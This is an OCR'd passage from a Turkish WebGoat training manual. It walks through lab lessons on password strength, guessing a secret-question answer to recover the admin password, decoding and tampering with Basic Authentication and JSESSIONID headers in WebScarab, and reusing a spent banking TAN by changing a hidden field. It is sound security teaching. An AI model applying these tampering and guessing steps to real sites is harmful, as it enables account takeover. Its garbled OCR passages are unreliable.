Bir alisveris sitesi bu derste oldugu gibi musterinin sectigi Grinlerin fiyatlarini istemciden gelen
rakamlara goére belirlememelidir. Kendi veritabaninda kayith olan fiyat rakamlarini
kullanmalidir. Eger 6yle yapmazsa bu derste oldugu gibi kétl niyetli bir kimse rakamlari
manipule ederek ucuza, hatta hi¢ para d6demeden istedidi kadar trln alabilir.
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DERS 20 - AUTHENTiICATiON FLAWS > PASSWORD STRENGTH

Authentication Flaws(Kimlik Dogrulama Kusurlari) Gnitesinin ilk dersi olan Password
Strength(Sifre Gugliiltigli) dersinde ders ekraninda yer alan sifrelerin ne kadar glvenli sifreler
oldugundan bahsedilecektir.

Dersin Hedefi
Bu egzersizde yapacaginiz is verilen sifrelerin
guvenilirliginin https://www.cnlab.ch/codecheck Uzerinde test edilmesidir.

Aciklamalar

Sifreleri kirmanin birden fazla yolu vardir. Bunlardan birine Brute Force derler. Anlami kaba
kuvvet demektir. Bu yOnteme goére sifreyi ¢cbézmek demek olabilecek tim karakter
kombinasyonlarinin denenmesi demektir. Ne demek istedigimi ufak bir drnek ile aciklayayim.
Bilgisayarda karakterler 8 bitlik veriler halinde bellekte depolanirlar. Mesela A karakterinin
bellekteki hali 01000001 'dir. Dikkat ederseniz A'y1 temsil eden bu sayir 8 haneden(bitten)
olusmaktadir. B karakterinin bellekteki hali ise 01000010'dir. Tuim alfabedeki harfler farkh bir
8 bitlik sayiya tekabul etmektedir. Dolayisiyla eger sifremiz karabuk olursa bu sifredeki her bir
harf 8 bitlik sayl oldugundan ve sifre 7 harfli oldugundan dolayi 7 tane 8 bitlik sayl yanyana
bellekte tutuluyor olacaktir. Simdi dusinun: Madem 8 bitlik sayilar degistirerek alfabedeki
harfleri degistirmis oluyoruz o zaman 7 harfli bu sifre icin her 8 bitlik blok beraberce
degistirilerek tim olasi segenekleri deneyemez miyiz? Daha basit disinelim: 3 haneli bir ikili
say! disundn. Bu 3 bitlik sayr 000, 001, 010, 011, 100, 101, 110 ve 111 olabilir. Yani 3 bitlik
ikili sayinin olabilecegi tim sayilar 8 tanedir. iste bu sekilde denenebilecek tim secenekleri
denemeye brute force saldirisi denmektedir. Bagska deyisle olabilecek tUm kombinasyonlari
denemeye brute force saldirisi denmektedir.

Tim segenekler bizim havuzumuzdur. iclerinden biri ise sifrenin ta kendisidir. Diyelim ki brute
force saldirisi yapabilen bir programa 1 uzunlugunda ve 2 uzunlugunda brute force saldirisi
yap dedik. Bdylesi bir senaryoda program sdylesi bir tarama yapar:

U)"Q'OODE_X'_'_':T(Q_“CD O 0 T 9w
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PN Xs<c-~
QD

ac
ad
ae
af

az
ba
bb
bc
bd
bf

bz
ca
cb
cc
cd
ce
cf

za
zb
ZC
zd
ze
zf
Zg
zh
Zi
Zj
zk
zI
zm
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zn
Z0
zp
zq
r
ZS
zt
ZU
yAY)
ZW
ZX
zy
7

Yukarida goruldugu Uzere program 1 ve 2 karakterli tim kombinasyonlari(olasiliklari) dener.
Bu olasiliklarin arasindan biri eger aradigimiz sifre ise program sifreyi kirdi denir.

Dersin Coziimii

Dersin ¢6zumd i¢in gerekli olan web sitesi(https://www.cnlab.ch/codecheck) icerigini kaldirdigi
icin bu dersi tamamlayamacaksiniz. Fakat dersin ne sundugu ve ne ogrettigine gelecek olursak
dersin bize 6gretmeye calistigi sey sifrelerin kuvvetliligidir. Bunu asagida siralanan sifreler ve
kirilma saniyeleri iliskisinden dgrenebilirsiniz:

Password = 123456: 0 saniye
Password = abzfez: 1394 saniye
Password = a9zlez: 5 saat
Password = aB8fEz: 2 gun
Password = z8!E?7: 41 gun

Ders ekraninda goérdigunuz 123456 sifresi bir brute force programi ile 0 saniyede
kirilabilmektedir. Yani diyelim ki bir eposta hesabinin eposta adresini biliyorsunuz ve sifresini
bilmiyorsunuz. Eger eposta adresi i¢in sifre sadece sayilardan olusuyorsa ve 6 haneli ise bir
brute force programi 6 haneli tim sayi kombinasyonlarini web sayfasinda deneyecektir ve
bunu 0 saniye igerisinde gerceklestirerek eposta adresine giris yaptiginda sifreyi kirmis
olacaktir. Yukarida verilen sifreler icerisinde dikkat ederseniz biri var ki bir brute force programi
tarafindan 41 gun igerisinde kirilabilmektedir. Bu uzun sire zarfinin nedeni sifrede kullanilan
karakter setlerinin cgesgitliliginden kaynaklanmaktadir. Fark ettiyseniz 41 ginde kirilabilen
z8IE?7 sifresinde sayi karakter setinden, kii¢lk alfabe karakter setinden, buyuk alfabe karakter
setinden ve isaretleme karakter setinden birer numuneler kullaniimistir. Bu su demektir:
Denenecek tim secgeneklerin sayisi karakter setlerinin genigligi 6lcisunde artar. Dolayisiyla
ne kadar cok farkli karakter setinden karakter kullanirsak sifremiz brute force'a karsi o derece
dayanikli olacaktir. Fakat su da var ki bu 41 gunlik zaman dilimi programin calistinidigi
donanimdan donanima degisiklik gostermektedir. Bir super bilgisayar bunu belki saniyeler
icerisinde ¢ozebilirken bir ofis bilgisayari belki 1 yilda ¢dzebilir. Dolayisiyla diyebiliriz ki séyle
veya boyle kirillamayacak sifre yoktur.
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Microsoft brute force'a karsi dayanikli sifre icin P@swOrd 6rnegini vermektedir. Gérdugunuz
Uzere bu sifre icerisinde buylk harf, kiclk harf, isaretleme ve sayi kullaniimigtir.
Kirilamayacak sifre olmadigindan kritik hesaplariniz icin boylesi gesitli karakter setlerinden
olugan sifre kullanmaniz 6nerilmekte ve ayrica her 90 gtinde bir gifrenin ayni kuvvetlilikte olmak
kaydiyla degistiriimesi dnerilmektedir.
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DERS 21 - AUTHENTICATiON FLAWS > FORGOT PASSWORD

Authentication Flaws(Kimlik Dogrulama Kusurlari) Gnitesinin  ikinci dersi olan Forgot
Password(Unutulan Sifre) dersinde unutulan sifre sayfasinin nasil exploit edilebileceginden,
yani sémurulebilinecedinden bahsedilecektir.

Dersin Hedefi

Kullanicilar eger sifrelerini unuturlarsa tekrar elde edebilsinler diye gizli soru uygulamasi
mevcuttur. Gizli soruyu dogru cevaplayan kullaniciya sifresi gosteriimektedir. Bu ders
ekraninda da bdylesi bir senaryo vardir. Ornek verilmesi gerekirse kullanici adi webgoat olan
ve gizli sorusunun cevabi red olan bir hesabin sifresini bu ders ekranindan elde edebilirsiniz.
Hedefiniz bu kullanici digindaki bir kullanicinin ~ sifresini  6grenmeye ¢alismaktir.

Dersin Coziimii

ik olarak deneme amagli webgoat kullanicisini ele alalim. Ders ekranindaki metin kutusuna
kullanici adi olan webgoat string'ini girelim. Formun butonuna tiklayarak form'u submit'leyelim.
Ardindan secret question diye adlandirilan gizli soruya cevap olan red string'ini metin kutusuna
girelim ve formu tekrar submit'leyelim. BOylece webgoat adli kullanicinin sifresini elde etmis
oluruz.

Simdi ise baska bir kullanicinin sifresini ayni methodla, yani gizli soruya cevap vererek
ogrenmeye calisalim. Bize bir kullanici adi lazim. Hemen hemen ¢ogu sitede yOneticiye ait
hesabin kullanici adlari bildi§iniz Gzere aynidir: admin. admin kullanicisinin kullanici adini
metin kutusuna girin ve form'u submit'leyin. Ekrana gizli soru yansiyacaktir: "What is your
favorite color?". Yani "favori renginiz nedir?"

Webgoat Password Recovery

Secret Question: What is your favorite color?
*Required Fields

*Answer:

Submit

ASPEGT)

Application Security Experts

OWASP Foundaticn | Project WebGoat | Report Bug

Gizli soru goérdugunuiz tzere deneme yanilma ile cevaplanmaya ¢ok musait durumda.
Sirasiyla denenecek renk isimleri ile admin hesabinin sifresini elde edebiliriz.

Gizli soru igin green cevabini verin ve form'u submit'leyin. Boylece admin'in sifresini
6grenmis olup dersi tamamlamis olursunuz.
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* Congratulations. You have successfully completed this lesson.

Webgoat Password Recovery
For security reasons, please change your password immediately.

Results:
Usermame: admin
Colar: green

ASPECT

! Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

Sonug¢

Bu dersin bize 6grettigi sey bir web sitesinin kullanicilari igin sundudu sifre kurtarma(gizli soru)
uygulamasinda sifreyi eposta yoluyla vermesi gerektigidir. E§er bu derste oldugu gibi sifre web
sitesi Uzerinden verilirse kotu niyetli kimseler deneme yanilma ile bir baskasinin sifresini
ogrenebilirler. Hele ki cevap secenekleri dar olan boylesi gizli sorulara karsin... Dolayisiyla gizli
soru uygulamasi eposta ile birarada kullaniimalidir.
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DERS 22 - AUTHENTICATION FLAWS > BASIiC AUTHENTICATION

Authentication Flaws(Kimlik Dogrulama Kusurlari) Gnitesinin  dgincl dersi olan Basic
Authentication(Temel  Kimlik  Onaylama) dersinde  http  header'inda yer alan
authorization'den(yetkilendirmeden) ve jsessionid'dan(gcerezlerden) bahsedilecektir(Hitp
header''n ne olduguyla alakali yazi igin bkz.Ders 3 - General > Http Split).

Dersin Hedefi
Bu derste hedefiniz temel kimlik dogrulamayi anlamak ve ders ekraninda verilen sorulari
cevaplamaktir.

Aciklamalar

Basic Authentication(Temel kimlik dogrulama) sunucu tarafindaki kaynaklari korumak igin
kullanilir. Web sunucusu talep edilen kaynak i¢in yanit olarak 401 nolu kimlik dogrulama talebi
génderir. istemci tarafindaki tarayici ise bunun (izerine kendinden olan pencereleri(dialog
box'lari) kullanarak kullanici adi ve sifre icin kullaniciyr harekete gecirtecektir. Tarayici girilen
kullanici adi ve sifreyi base64 algoritmasi ile kodlayacaktir. Sonra web sunucusu hesap
bilgilerini denetleyecektir ve eger hesap bilgileri dogru ise talep edilen kaynagi istemciye
dondurecektir. Bu tarz kimlik dogrulama mekanizmasi ile korunan her sayfa icin tekrardan
hesap bilgilerini girmeye lizum olmadan girilmis hesap bilgileri sunucuya otomatik olarak
gonderilir.

Bu dersin sonunda oturum ydnetimi icin JSESSIONID ¢erezinin nasil kullanildigini anlamaniz
ve ayrica kimlik dogrulama icin temel kimlik dogrulama header'inin nasil kullanildigini
anlamaniz beklenmektedir. Bu iki header Dersin Coéziimii basliginda degderleri manipule
edilerek anlatimaya calisilacaktir. Ama o6nce tanimlarina deginmekte fayda var.

Bu dersin bashgdi da olan Authentication kavrami bir kisinin sistemin gegerli bir kullanicisi olup
olmadiginin sunucu tarafinda sorgulanmasi hakkindadir. Eger sorgulamaya gecerli hesap
bilgileri girilmisse o kisi authenticate edilmis olur. Bunun Uzerine sunucu JSESSIONID denilen
cerezi yollar(Java web uygulamalarinda c¢erez ismi olarak JSESSIONID kullaniimaktadir).
Authorization kavrami ise bir kiginin belirli bir icerige erisimine izin verme ya da o igerige erisim
yetkisi verme hakkindadir. Yani bir kimse oturum ag¢mis bir kullanici dahi olsa erigimi
sinirlandiriimis bir icerige erisemiyorsa o kisi o i¢erik icin authorizate edilmemis demektir. Simdi
JSESSIONID ve Authorization header'larini sunucu nasil yorumluyoru uygulama Uzerinde
deneyimleyelim.
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Dersin Coziimii

Choose another language: | English 2 Logoth

Basic Authentication

OWASP WebGoat v5.4

Introduction

al Solution Videos Restart this Lesson

Basic Authentication is used to protect server side resources. The web server will send a 401
authentication request with the response for the requested resource. The client side browser will
then prompt the user for a user name and password using a browser supplied dialog box. The
S browser will base64 encode the user name and password and send those credentials back to the
& web server. The web server will then validate the credentials and return the requested resource if
Forgot Password the credentials are correct. These credentials are automatically resent for each page protected
Basic Authentication with this mechanism without requiring the user to enter their credentials again.

Mutti Level Login 2 General Goal(s):
Multi Level Login 1
Buffer Overflows

For this lesson, your goal is to understand Basic Authentication and answer the questions below.

Code Quality

Concurrency What is the name of the authentication header:
Cross-Site Scripting (XSS) ¥ T
Improper Error Handling What is the decoded value of the authentication
Injection Flaws header:

Denial of Service

Insecure Communication Submit

Insecure Configuration

Insecure Storage SORULAR

Malicious Execution
Parameter Tampering OWASP Foundation | Project WebGoat | Report Bug
Session Manaaement Flaws

Yukaridaki resimde gordiguintz Gzere sorular su sekildedir:

What is the name of the authentication header:
(Kimlik dogrulama header'inin adi nedir?)

What is the decoded value of the authentication header:
(Kimlik dogrulama header'inin kodlanmadan arinmis degeri nedir?)

Bu sorulara cevap verebilmek icin http header'a odaklanmamiz gerekmektedir. Dolayisiyla
bizim bir talep yapmamiz ve bu talebi WebScarab araciliiyla yakalamamiz gerekmektedir.
Bdylece gonderdigimiz http header't gdzlemleyebiliriz. Bunun igin WebScarab'i talepleri
yakalabilecegi sekilde aktiflestirin. Aktiflestirme islemi WebScarab araylziinde yer

alan Intercept sekmesindeki Intercept Request [V] 'e tick koyarak gergeklesir.
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WebScarab Lite

File VYiew Tools Help
Intercept
Intercept requests :

Methods Include P3

Case Sensitive Regular Expressions 7 ||
hs matching :

-

GET

POST

Exclude paths matching :

HEAD

[.*\.(aifl jpal pnal css|js|icol swflaxd.)$ |

PUT
DELETE
TRACE
PROPFIND
OPTIONS

Intercept responses: [
Only MIME-Types matching :

WebScarab'l talebi yakalayabiliyor hale getirdikten sonra ders ekranindaki Submit butonuna
tiklayin. Bdylece bir talebi baglatmis olursunuz. Bu islem sonrasi ekraninizda bir webscarab

popup penceresi gelmis olmasi gerekir.

= Edit Request

Intercept requests : [v] Intercept responses: ||
" Parsed | Raw |
Method URL Version
|PosT | [nttpineo:80MehGoatiattack?menu=310 | [HTTRA 1
Header Value
Content-Type applicationf-www-form-urlencoded e
UA-CPU *86
Accept-Encoding gzip, deflate =
User-Agent Mozilla/4.0 {compatible; MSIE 7.0; Windows ... Insert
Proxy-Connection Keep-Alive
Content-length 28 _| Delete
Host neo
Pragma no-cache
Cookie JSESSIONID=6FDAFA2F732ACF4E17B236...
Authorization Basic Z3VIc3Q6Z3VIc30= -
-
[ URLEncoded | Text | Hex |
Variahle Value
header Insert
value
SUBMIT Submit Delete
v
[ Accept changes ] Cancel changes Ahort request I \ Cancel ALL intercepts

Bu pencerede yukaridaki resimden de goérebilecediniz lizere sari ile vurgulanan kolon http
header bilesenlerinin siralandigi bolimdir. Temel kimlik dogrulama bashg! bu header'lar

icerisinden Authorization seklinde adlandirilandir. Degeri de Z3VIc3Q6Z3VIc3Q= seklindedir.
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Bu deger kodlanmis dederdir. Daha 6nce de bahsedildigi gibi tarayici kimlik dogrulama
bilgilerini base64 algoritmasi ile kodlamaktadir. Bu kodlanmis veriyi decode edebilmek igin,
yani orijinal haline donistirebilmek icin WebScarab'in penceresine gelin. Ardindan Tools
menudstndeki Transcoder sekmesine tiklayin. Bu acgilan ekrana base64 algoritmasina gére
kodlanmig Z3VIc3Q6Z3VIc3Q= verisini kopyalayin. Ardindan pencerenin asagisindaki
digmelerden Base64 Decode digmesine basarak kimlik dogrulama verisini orjinal haline
donustirin.

Transcoder
Edit
Characters: 11

URL encode Base64 encode MDS5 hash | | SHA-1 hash

URL decode Baseb64 decode

Goéruldugu uzere kodlanmis veri aslinda kullanici adi ve sifrenin birlesiminden olusturulmus
bir veriymis. (guest:guest | Kullanici adi: guest, Sifre: guest) Dersin ilk asamasini
tamamlayabilmek icin header'in adi olarak ilk metin kutusuna Authorization, bu header'in
degeri olarak da ikinci metin kutusuna guest:guest ifadesini giriniz ve Submit butonuna
basiniz. Ekrana gelen popup penceresi i¢in de Accept Changes butonuna basiniz. Béylece
ilk asama bitmis bulunmaktadir.

Solution Videos Restart this Lesson

Basic Authentication is used to protect server side resources. The web server will send a 401
authentication request with the response for the requested resource. The client side browser will
then prompt the userfora user name and password using a browser supplied dialog box. The
browser will baset4 encode the user name and password and send those credentials back to the
web server. The web server will then validate the credentials and return the requested resource if
the credentials are correct. These credentials are automatically resent for each page protected
with this mechanism without requiring the user to enter their credentials again.

General Goal(s):

Forthis lesson, your goal is to understand Basic Authentication and answer the questions below.

* Congratulations, you have figured out the mechanics of basic authentication. - Now
you must try to make WebGoat reauthenticate you as: - username: basic
password: basic. Use the Basic Authentication Menu to start at login page.

Use the hints! One at a time...

OWASP Foundation | Project WebGoeat | Report Bug

TUBITAK — BILGEM - Siber Giuvenlik Enstitiisi 127



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: WEBGOAT

Dersi tamamlayabilmek icin bir dokunusa daha ihtiyag vardir. Bu
dokunus Aciklamalar bashginda bahsedilen gerez ve kimlik dogrulama bilgilerinin pratikteki
kullanimini icerecektir. Yukaridaki resimde yer alan kirmizi yazida bizden kullanici adi olarak
basic ve sifre olarak da basic olacak sekilde WebGoat'a tekrardan kimlik dogrulama
yaptirtmayi denememiz isteniyor. basic kullanici adi ve sifresi ile WebGoat'a erismek igin
JSESSIONID'yi ve Authorization header'ini bozmaniz gerekir. Bozmaniz gerekir derken
aslinda amag bu iki header'' anlamlandirabilmek icindir. Bu bozma islemini WebScarab ile
yapabilirsiniz. Talepleri yakalayacak sekilde WebScarab yine aktif kalsin ve ders ekranindaki
Hint adli sekmeye bir kez tiklayin. Boylece bir webscrab popup'i ekrana gelecektir. Bu
ekrandaki cookie ve Authorization basliklarinin degerlerinden birer karakter silin ve Accept
Changes butonuna tiklayin. Béylece WebGoat kimlik dogrulamasi yapmaya ihtiyag duyacaktir.
Bu ylzden ekrana kullanici adi ve sifre girilmesini isteyen tarayici penceresi(dialog box)
gelecektir. Kullanici adi ve sifre olarak dersin bizden istedigi gibi basic kelimesini giriniz.

lage: | Enguish 7 Logout wg

Basic Authentication

Solution Videos Restart this Lesson

Basic Authentication is used to protect server side resources. The web server will send a 401
authentication request with the response for the requested resource. The client side browser will

Authentication Required

Ausername and password are being requested by http://localhost:8080. The site says: "WebGoat

Gen & Application"
Fortl
User Name: | basic
*Co
you  Password: [-l ]
pass
| Cancel | OK |

OK tusuna bastiktan sonra ekrana yeni bir WebScarab popup'l daha gelecektir. Bu popup'a
dikkat edelim.

B Edit Request

Intercept requests : Intercept responses: []

Parsed | Raw
Method URL Version
CET \mtp.jflucalhost.8OSO;WEEGUalfatlack.?Screen=35&menu=500&shuw=Nextht \ |HTTP,’1 1|

Header Value

Host localhost 8080
User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64
Accept text/html, application/xhtml+xml, applica
[Accept-Language en-Us,en;q=0.5
|Arcept-Encoding gzip, deflate Insert
Referer hitp://localhost: 8080/ WebGoat/attackss.. Delete
Cookie JSESSIONID =DABSIESFE5 97 1402FF713...
Authorization Basic YmFzaWM&YmFzaWh =
Connection keep-alive

Hex

Position |0[1[2[3[4[5[6[7[8]9]A[B[C[D]E[F] string
=

Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts
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Authorization kismi dikkat ederseniz degisti. Fakat cookie(cerez), yani JSESSIONID
degismedi. Yani daha basic olarak oturum agamadik. Neden olduduna birazdan
deginecedim. Fakat dnce bazi seylerden bahsedilecektir.

Oturum gerezi olmadiginda, eger zaten kimlik onaylamasindan gegilmisse Webgoat sizi
onaylar. E§er kimlik onaylamasindan gecilmemigse kullanici adi ve sifre giriimesini isteyen
tarayici pencereleri goruntilenir. basic kullanici adi ve basic sifre girisi gercek manada
onaylandiktan sonra WebGoat'un baglangi¢ sayfasina ydnlendirilirsiniz ve bu oturum igin size
yeni bir JSESSIONID sunucu tarafindan verilir. Fakat hatirlayin: JSESSIONID degismemisti.
Sira geldi bunu izah etmeye. JSESSIONID ilk ziyaret stirecinde olusturulan ve kalici olmayan
bir cerezdir. Tarayicidan WebGoat'a giden her talepte bu eski JSESSIONID degeri kullanilir.
Onceki talepte yaptigimiz JESSIONID'yi bozma iglemi tarayici bellegindeki depolanmis gerez
degerini degistirmeyecektir. Sonugta ¢cerez dosyasini manipule etmedik. Talebimizle
génderdigimiz http header't manipule ettik. iste bu yiizden kimlik dogrulama sonrasi Hint
butonuna tiklayarak yapilan talepte oldugu gibi ve bundan sonra olacak taleplerdeki gibi eski
JSESSIONID her defasinda gonderilecektir. Bu eski ama gecerli JSESSIONID ylzinden
WebGoat kendi igindeki fonksiyonlari kullanarak( getSession().getUser() ) sunucu tarafli
oturum nesnesi Uzerinden kimlik onaylamasindan ge¢mis kullaniciyi bulup ¢ikaracaktir.
WebGoat'a basic olarak kimlik onaylamasindan gectiginize inandirmak icin JSESSIONID'yi
asagidaki resimde oldugu gibi novalidsession ile doldurmaniz gerekmektedir.

+ Edit Request

Intercept requests : [v| Intercept responses: [ |

| Parsed
Method URL

| Raw

Version

GET hitp:/ineo:80/WebGoatattack?Screen=133&menu=310 HTTPA A
Header | Value

Accept limagefgif, imagehe-xbitmap, image/jpeg, imag

Referer |hitp:iineo/WebGoatattack?Screen=133&men

Accept-Language Inl-be

UA-CPU x86

Accept-Encoding lozip, defate Insert

User-Agent |Mozillaf4.0 (compatible, MSIE 7.0, Windows N Delete

Proxy-Connection |Keep-Alive

Host neo

Cookie [SESSIONID=novalidsession]

Authorization |Basic YmFzaWMBYmFzaVVhi=

-y

Hex

-~

Position | 0] 1]

Accept changes | Cancel changes

String

Abort request Cancel ALL intercepts

Bu sekilde yapinca Accept Changes diyerek olmasi gerektigi gibi WebGoat'in baslangi¢
sayfasina yonlendirileceksiniz. JSESSIONID artik degistirilmistir. Bu ylzden sunucu verdigi
bu yeni oturuma gore derslere sifirdan sizi baglatacaktir. Bu zamana dek yaptiginiz dersleri
tamamlamamis goriceksiniz. Cunki artik oturumunuz degisti. Bu oturum agikken baslangig
sayfasindan derslerin listeleneceyi araylze gegin. Ardindan yapmakta oldugunuz ders olan
"Basic Authentication"a tiklayin. Bdylece dersi basariyla tamamlamis olursunuz. Eski
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oturumunuza dénebilmek igin WebGoat'u terminalden sonlandirin ve tekrar baslatin. Bdylece
kaldiginiz yerden devam edebilirsiniz. Webscarab'in popup'lari karsiniza gelmesin
istiyorsaniz koydugunuz tick'i kaldirmaniz yeterlidir.

Sonug¢

Bu derste iki kavram tzerinde durulmustur. Bunlardan birincisi JSESSIONID, yani ¢erez,
ikincisi ise authorization, yani yetki. Bu iki kavram(header) sirayla manipule edilerek ne
anlama geldikleri uygulama Uzerinden deneyimlenmeye caligiimistir. Toparlayacak olursak
bir kimse bir web uygulamasinin login ekranina hesap bilgilerini girmekle authenticate edilir.
Bunun Uzerine sunucu kullaniciya ilgili gerezi ve authorization't gdnderir. Kullanici boylece
cerez ile sistem Uzerinde online kalacagi gibi authorization'in izin verdigi 6lctide de iceriklere
ulasabilir olacaktir.
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DERS 23 - AUTHENTICATION FLAWS > MULTI LEVEL LOGIN 1

Authentication Flaws(Kimlik Dogrulama Kusurlari) Unitesinin dérdincu dersi olan Multi Level
Login 1(Cok Seviyeli Oturum Girisi 1) dersinde giinimuzdeki bankalarin internet subelerinde
kullanilan TAN™ numarasinin bir defalik kullanim émri olmasina ragmen ikinci kez nasil
kullanilabileceginden ve bdylece kurbanin banka hesabinin senaryo geredi nasil ele
gegcirilebileceginden bahsedilecektir.

Dersin Hedefi
Bu ders iki asamadan olugmaktadir.

STAGE 1(ASAMA 1)

Bu asama size sadece klasik bir "¢ok seviyeli oturum girisi"nin nasil galistigini gosterecektir.
Hedefiniz Jane kullanici adini ve tarzan sifresini kullanarak rutin bir giris yapmaktir.
Kullanabileceginiz TAN'lar ders ekraninda siralanmistir.

STAGE 2(ASAMA 2)

Simdi siz Jane adli kullanicinin postasindan paliklama(phishing) yontemiyle bazi bilgiler calmis
olan bir hacker'siniz. tarzan seklindeki sifreye ve ayrica TAN #1 olarak 15648 numarasina
sahipsiniz. Problem su ki TAN #1 Jane tarafindan zaten kullanildi ve TAN numaralari bir
kullanimliga mahsustur. Kullanim sonrasi gegersiz olurlar. Amaciniz zaten kullaniimis olan
TAN'a ragmen sunucuya kullaniimis TAN'I tekrar kabul ettirmektir.

Aciklamalar

Bir "Cok Seviyeli Oturum Girigi" sistemi guclu bir yetkilendirme saglamalidir. Bu amag var olan
oturum girigine ikinci katmani ekleyerek saglanmistir. GUnUmuiz bankalarinin internet
subelerini dusunelim. Eger bir internet subesine daha 6nce baglandiysaniz bilirsiniz ki
hesabiniza girebilmek igin 6ncelikle mlgsteri numarasi tarzi bir veri, sonra ise sifre girersiniz.
Girdiginiz bu veriler sayet onaylanirsa akabinde bir TAN girmeniz istenir. TAN demek banka
yetkilendirme numarasinin ingilizce karsiliginin bas harflerinden olusan bir kisaltmadir. TAN
bir gesit say! dizisidir. Siz telefonunuza sms olarak gelen bu sayiyi ikinci katmanda girerek
internet subesine baglanirsiniz. TAN verisi cep telefonuna sms olarak gelebilecegi gibi mesela
eposta araciliiyla da gelebilir. Bu ders ekraninda ise size kullanabileceginiz birka¢ tane bir
defaya mahsus kullanima sahip TAN'lar verilmistir.

Dersin Coziimi

Asama 1

Bu asamada rutin bir giris yapilarak sistemin nasil ¢alistigi gosteriimek istenmistir. Oncelikle
size verilen kullanici adi ve sifreyi metin kutularina girin: Kullanici Adi: Jane, Sifre: tarzan . ilk
katmani gegtikten sonra ikinci katmanda sizden istenen TAN'I ders ekraninda sirali TAN'lar
icinden bulup kopyalayin. Burada dikkat etmeniz gereken husus login sisteminin sizden istedigi
TAN'In #1 mi #2 mi yoksa digerleri mi oldugunu gérmenizdir. Eger daha dnce deneme yanilma
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yapmamigsaniz sizden istenen TAN #1 olacaktir. Dolayisiyla TAN #1'i kopyalin ve metin
kutusuna yapistirin. Ardindan Submit butonuna basin.

Solution Videos Restart this Lesson

STAGE 1: This stage is just to show how a classic multi login works. Your goal is to do a regular
login as Jane with password tarzan. You have following TANs:

Tan #1 = 15648

Tan #2 = 92156

Tan #3 = 4879

Tan #4 = 9458

Tan #5 = 4879

=
[

Goat Hills Financial

Human Resources

ol
=4

E?
(e

Please Login W
Enter TAN
M 15648
Submit ‘

Logout

Created by: Reto Lippuner, Marcel
Wirth

Bdylece asama 1'i tamamlamis bulunmaktasiniz. Bu asama ile login sistemin iki katmanh
olusunu deneyimlemis oldunuz.

Asama 2
Simdi Asama 1'de yaptiginiz oturum girisinden ¢ikmaniz gerekmektedir. Clinku kurbanin
hesabina gegis yapacagiz. Bu ylizden logout digmesine tiklayin.

TUBITAK — BILGEM - Siber Givenlik Enstitisi 132
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* Stage 1 completed.

¢/“ Goat Hills Financial

L Human Resources

[#h <

Firstname: Jane

Lastname: Plane

Credit Card Type: MC

Credit Card Number: 74589664

Logout

Created by: Reto Lippuner, Marce|
Wirth

Simdi biraz senaryodan bahsedelim. Senaryoya gore siz bir hacker olarak kurbana sanki
banka yolluyormuscasina sislemelere sahip bir eposta génderdiniz. Bu eposta ile kurbanin
kullanici adi ve sifresini, hatta TAN'ini bile yemlemenin(phising'in) sahiciliginden 6tur(
aldiniz. Bu yapilan sahtekarliga phising denmektedir. Bu bilgileri kullanarak bankanin internet
subesine giris yapmak istiyorsunuz. Fakat TAN'lar sadece bir defalia mahsus kullaniimak
Uzere kullaniciya verilen seri numaralardir. Zaten kullanici tarafindan kullaniimis bir TAN'I
bankaya kabul ettirmek ise bankanin verecegi bir givenlik acidi ile mimkandar. Diger tarl(
bdyle bir seyin olmasi beklenemez. Bu ders ekranindaki bankanin verdigi agiga birazdan
deginilecektir.

Calinan kullanici adi ve sifreyi ders ekranindaki login sistemine girin(Kullanici Adi: Jane,
Sifre: tarzan). Submit deyin. Ardindan sistem sizden 2 numarali TAN'I girmenizi isteyecektir.
Sizin elinizde 1 numarali TAN var. Bu noktada 6ncelikle WebScarab'dan yardim istemeliyiz.
WebScarab'daki Intercept sekmesine tiklayin ve Intercept Request checkbox'ina tick isareti
koyun. Bdylece sunucuya gonderilecek talepler sunucuya gitmeden édnce WebScarab
proxy'sine gelecektir. Simdi elinizde var olan 1 numarali TAN'I ders ekranindaki metin
kutusuna girin: 15648. Ardindan Submit digmesine basin. Ekrana bir WebScarab popup
penceresi gelmis olmalidir. Bu pencere asagidaki gibidir:
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(> Edit Request

Intercept requests : Intercept responses: [ ]

Parsed Raw

Version

Method URL

[PosT | [htp://localhest: 8080, Web Goat/attack?Screen =6 Lamanu=500 | [HTTR L]
Header Value

Host localhost: 8080 B

User-Agent Mozilla/5.0 ({11, Ubumu; Linux xB6_64.. T

Accept text/html, application/xhtmi+xml,applica T

Arcept-Language en-US,en;q=05 Delete

[Accept-Encoding gzip, deflate

Referer http://localhost: 8080/ WebGoat/attack?s... =

e
|| URLEncoded | Text | Hex

Variable Value
hidden_tan 2
tan 15648
Submit Submit

Insert

Delete

iy
Accept changes I Cancel changes | Abort request ‘ ‘ Cancel ALL intercepts ‘

Sunucuya login olurken 3 tane degisken génderdigimizi ekrandan kolayca goérebiliriz. Birincisi
Submit butonu ve degeri, ikincisi tan degiskeni ve girdigimiz tan degeri, Uguncusu ise hangi
numaral tan geliyoru tutan hidden_tan degiskeni ve 2 degeri. Burada sanirim fark
etmigsinizdir sistemin verdigi acigi: Sistem TAN numarasini kullanicidan aldigi gibi hangi
TAN'In gelecegi kararini da kullanicinin bilgisayarina génderdigi rakama gore belirliyor. Fakat
unutulan sey su ki kullaniciya génderdigi rakam kullanici tarafindan WebScarab gibi bir
yazilimla kolayca degistirilebilmektedir. Resimde dikkat ederseniz hidden_tan degiskeni 2
sayisini tutmaktadir. Yani sunucu TAN #2'yi istemektedir. Biz ise sunucu bizden TAN #1'i
istiyor yaparsak, yani 2 degerini 1 yaparsak kullaniimis TAN #1'i tekrar sisteme kabul ettirmis
oluruz. Dolayisiyla hidden_tan hicresinin degerini tagiyan hucreye cift tiklayin. 2 sayisini
silip 1 yapin, enter'layin ve Accept Changes digmesine tiklayarak talebinizi sunucuya

gonderin.

URLEncoded | Text | Hex

Variakle Value
hidden_tan 1
tan 15648
Submit Submit
e e
Accept changes I Cancel changes Abort request ‘ | Cancel ALL intercepts

Bdylece dersi basariyla tamamlamis olursunuz.

Sonug¢
Banka, musterisinden bekledigi TAN'I musterisinden gelen "hangi TAN" bilgisine gore

degerlendirirse hata etmis olur. Sunucunun hangi TAN'lI secip kiyaslayacag bilgisi sunucu
tarafinda kalmalidir ve bu sakli bilgiye gére mugterinin girdigi TAN ile sistemdeki TAN
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kiyaslanmalidir. Diger turlu eger kiyaslanacak TAN'in hangisi oldugu bilgisi musteriye
gonderilirse ne kadar musteriye bu hangi TAN'In degerlendirilecegi bilgisi ekranda
